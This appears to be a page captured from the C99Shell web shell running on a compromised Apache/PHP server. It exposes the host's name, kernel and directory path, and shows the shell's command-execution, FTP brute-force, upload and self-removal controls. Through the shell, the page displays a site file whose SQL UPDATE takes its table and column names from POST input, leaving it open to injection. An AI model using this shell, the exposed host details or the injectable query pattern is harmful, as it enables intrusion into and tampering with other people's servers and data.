!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/home/memoriacel/public_html/2018/panel/   drwxr-xr-x
Free 985.28 GB of 1859.98 GB (52.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     guardar_orden.php (706 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
require_once("includes/config.php");
require_once(
"includes/funciones.php");

$tabla=cadena_segura($_POST['tabla'],50);

if (isset(
$_POST["campo"])){
    
$campo=cadena_segura($_POST['campo'],50);
} else {
    
$campo="orden";
}
/* on form submission */
//if(isset($_POST['do_submit']))  {
    /* split the value of the sortation */
    
$ids explode(',',$_POST['sort_order']);
    
/* run the update query for each id */
    
foreach($ids as $index=>$id) {
        
$id = (int) $id;
        if(
$id != '') {
            
$result $mysqli->query("
                UPDATE 
$tabla 
                SET 
$campo = '".($index 1)."' 
                WHERE id = '
$id'
            "
);
        }
    }    
    
/* now what? */
    //if($_POST['byajax']) { die(); } else { $message = 'Sortation has been saved.'; }
//}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0221 ]--